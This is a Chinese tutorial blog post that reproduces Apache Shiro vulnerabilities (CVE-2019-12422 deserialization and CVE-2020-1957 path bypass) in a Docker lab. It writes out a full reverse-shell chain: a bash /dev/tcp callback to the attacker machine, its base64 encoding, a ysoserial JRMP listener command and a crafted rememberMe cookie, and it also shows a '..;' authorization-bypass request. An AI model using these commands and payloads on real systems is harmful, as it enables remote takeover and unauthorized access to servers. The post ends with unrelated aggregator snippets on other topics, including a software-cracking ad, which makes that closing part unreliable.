Shiro反弹shell和权限绕过含工具包

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、前言

反序列化漏洞原理和Shiro反序列化漏洞原理请参阅《反序列化漏洞(一)Shiro漏洞CVE-2016-4437复现》,【CVE-2019-12422】使用python脚本判断是否存在shiro漏洞,反弹shell漏洞利用,【CVE-2020-1957】Shiro权限绕过漏洞。

2、CVE-2019-12422

2.1、启动靶场环境
# 获取docker镜像
docker pull medicean/vulapps:s_shiro_1# 重启docker
systemctl restart docker# 启动docker镜像
docker run -d -p 8083:8080 medicean/vulapps:s_shiro_1# 查看靶场启动情况
docker-compose ps

在这里插入图片描述

2.2、访问靶场

访问:http://192.168.242.4:8083

在这里插入图片描述

2.3、判断漏洞是否存在

使用python脚本工具类shiropy,需要自己配置初始化,参考步骤:2.3.1、shiropy环境准备

2.3.1、shiropy环境准备

先把shiropy.zip解压,然后使用PyCharm编辑打开,操作路径:File->Open…,指定shiropy的目录然后点确定打开。

使用PyCharm编辑器设置解释器,操作路径:File->Settings…或使用快捷键Ctrl+Alt+S,弹出窗口,选择Project:shiropy->Python Interpreter,在右侧点Add Interpreter进行添加。

在这里插入图片描述

然后在外层再的点Apply按钮应用生效。

在这里插入图片描述

把项目需要的依赖lib导入进来,有两种方式:点编辑器上方的提示或使用命令进行install。

#批量安装依赖模块
pip install -r requirements.txt#将当前项目的所有依赖库导出为requirements.txt文件 ,所以在上面步骤添加解释器时不想用继承
pip freeze > requirements.txt

在这里插入图片描述

2.3.2、dnslog申请临时域名

在线网址:https://dnslog.org/,获取到子域名:f9afffca.dnslog.store

2.3.3、生成检测payload

使用shiro.py 脚本,生成检测payload,如果当前项目有存在文件:payload.cookie,手动删除一下。生成命令如下

# 双引号里面的域名是上一步骤获取的,自己再拼接上http://
python shiro.py "http://f9afffca.dnslog.store"

生成成功会在当前目录下多一个文件:payload.cookie。

2.3.4、BurpSuite拦截处理

先在浏览器用提供的测试号登录,登录时记得点Remember me复选框。

在这里插入图片描述

BurpSuite打开拦截,使用文本编辑器打开payload.cookie复制里面的内容,直接覆盖Cookie:后的内容,然后放包。

在这里插入图片描述

2.3.5、登录成功

界面显示登录成功

在这里插入图片描述

2.3.6、dns解析成功

刷新网站或点Get Results获取结果,发现有1条解析记录,表示存在漏洞。

在这里插入图片描述

2.4、漏洞利用(反弹 shell)
2.4.1、开启监听端口

在kali系统使用nc命令开启监听端口

# nc命令开启监听,kali系统ip: 192.168.242.4
nc -lvvp 10808# 监听成功,会有提示信息如下
listening on [any] 10808 ...
2.4.2、反弹shell命令
# 反弹shell指令-格式
/bin/bash -i >& /dev/tcp/反弹shell的IP/nc监听的端口 0>&1# 反弹shell指令-kali攻击机
/bin/bash -i >& /dev/tcp/192.168.242.4/10808 0>&1# 把以上payload进行base64编码,使用在线网址:https://base64.us/
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQyLjQvMTA4MDggMD4mMQ==
2.4.3、开启JRMP

使用ysoserial-master-SNAPSHOT.jar开启JRMP监听

# 切换到目标目录
cd tools/shiro# 命令-格式
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,base64反弹shell的payload}|{base64,-d}|{bash,-i}"# 目标执行的命令
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjQyLjQvMTA4MDggMD4mMQ==}|{base64,-d}|{bash,-i}"# 开启成功,会有提示信息如下
* Opening JRMP listener on 1099
2.4.4、构造payload

使用s.py构造payload,命令如下

# ip地址为kali系统也就是攻击机的ip,端口则为JRMP设置的端口值
python s.py 192.168.242.4:1099

运行成功会在下面生成一串内容,直接复制出来到登录时,使用BurpSuite拦截处理,步骤参考:第2.3.4、BurpSuite拦截处理。

在这里插入图片描述

2.4.5、BurpSuite拦截处理

因在第2.3步骤时有成功登录过,重新登录验证时先做下Log out登出操作,登录时记得点Remember me复选框。BurpSuite打开拦截,复制上步骤生成的内容,同样直接覆盖Cookie:后的内容,然后放包。

在这里插入图片描述

2.4.6、反弹shell成功

在JRMP监听窗口下有连接信息

在这里插入图片描述

在nc监听窗口,反弹shell成功

在这里插入图片描述

3、CVE-2020-1957

3.1、漏洞原理

Shiro权限绕过漏洞,在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造路径包含..;这样的跳转,可以绕过Shiro中对目录的权限限制。

3.2、启动靶场环境
# 先切到对应目录
cd /home/kali/vulhub-master/shiro/CVE-2020-1957# 开启靶场
docker-compose up -d# 查看靶场启动情况
docker-compose ps
3.3、访问靶场

访问:http://192.168.242.4:8080

在这里插入图片描述

3.4、访问admin目录

回显302跳转,构造恶意请求 /xxx/..;/admin/

在这里插入图片描述

成功绕过。

4、资料获取

如果需要本文Shiro漏洞利用工具包,请关注公众号:大象只为你,后台回复:shiro漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/475732.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安装 Windows 7

1.镜像安装 镜像安装:安装Windows 7 2.安装过程(直接以图的形式呈现) 等待安装成功即可

Linux——网络通信TCP通信常用的接口和tcp服务demo

文章目录 TCP通信所需要的套接字socket()bind()listen()acceptconnect() 封装TCP socket TCP通信所需要的套接字 socket() socket()函数主要作用是返回一个描述符,他的作用就是打开一个网络通讯端口,返回的这个描述符其实就可以理解为一个文件描述符&a…

防御-day5-防火墙综合实验

一、实验拓扑 二、实验要求 1、办公区设备可以通过电信链路和移动链路上网(多对多的NAT、并且需要保留一个公网IP不能用来转换)。 2、分公司的设备可以通过总公司的移动链路和电信链路访问到DMZ区的http服务器 3、分公司内部的客户端可以通过公网地址访问到内部的服务器。 三、…

0206-1-网络层

第 4 章 网络层 网络层提供的两种服务 虚电路服务 数据报服务 概要: 虚电路服务与数据报服务的对比 网际协议 IP 网际协议 IP 是 TCP/IP 体系中两个最主要的协议之一。与 IP 协议配套使用的还有四个协议: 地址解析协议 ARP (Address Resolution Protocol)逆地…

数据结构——lesson3单链表介绍及实现

目录 1.什么是链表? 2.链表的分类 (1)无头单向非循环链表: (2)带头双向循环链表: 3.单链表的实现 (1)单链表的定义 (2)动态创建节点 &#…

林浩然与杨凌芸的Java List大冒险

林浩然与杨凌芸的Java List大冒险 Lin Haoran and Yang Lingyun’s Java List Adventure 在一个阳光明媚的日子,程序员界的“侠客”林浩然和他那聪明伶俐的同事兼好友杨凌芸正在Java王国里进行一场别开生面的大冒险。这次他们的目标是征服两个强大的List家族成员——…

全网最详细的从0到1的turbo pnpm monorepo的前端工程化项目[搭建篇]

全网最详细的从0到1的turbo pnpm monorepo的前端工程化项目[搭建篇] 引言相关环境技术栈初始化工程安装turbo配置pnpm-workspace安装husky安装lint-staged安装eslint安装prettier配置 .editorconfig配置 .gitignore初步项目结构结语 引言 最近各种原因,生活上的&am…

【机构vip教程】Unittest(1):unittest单元测试框架简介

unittest单元测试框架简介 unittest是python内置的单元测试框架,具备编写用例、组 织用例、执行用例、功能,可以结合selenium进行UI自动化测 试,也可以结合appium、requests等模块做其它自动化测试 官方文档:https://docs.pytho…

微信社区小程序源码/h5/圈子论坛贴吧交友/博客/社交/陌生人社交/宠物/话题/私域/同城引流微信小程序源码

H5多端圈子社区论坛系统小程序源码,交友/博客/社交/陌生人社交,即时聊天,私域话题,社区论坛圈子,信息引流小程序源码,广场/微校园/微小区/微同城/圈子论坛社区系统,含完整的后台系统。thinkPHPu…

SSH密钥认证登陆流程(Vscode连接到远程)

目录 前言连接远程步骤1. 下载工具包wsCli到本地机器2. 本地机器上生成ssh密钥3. 在服务器上安装公钥4. vscode连接到远程 参考资料 前言 SSH(Secure Shell)是一种用于远程登录和安全传输数据的网络协议。它提供了两种主要的远程连接方式: 密…

原创详解OpenAI Sora是什么?技术先进在哪里?能够带来什么影响?附中英文技术文档

一:Sora是什么 Sora是一个文本到视频的模型,由美国的人工智能研究机构OpenAI开发。Sora可以根据描述性的文本提示,生成高质量的视频,也可以根据已有的视频,向前或向后延伸,生成更长的视频。 Sora的主要功…

GuitarPro8.1官方中文解锁版激活许可证24位下载

Guitar Pro 8.1官方中文解锁版是一款受到吉他手和音乐家欢迎的软件程序。它允许用户创建和编辑乐谱、吉他谱和其他音乐成绩,并使用虚拟乐器回放他们的作品。Guitar Pro具有广泛的工具和功能,包括符号编辑器、和弦和音阶库、调音器、节拍器等等。它还支持…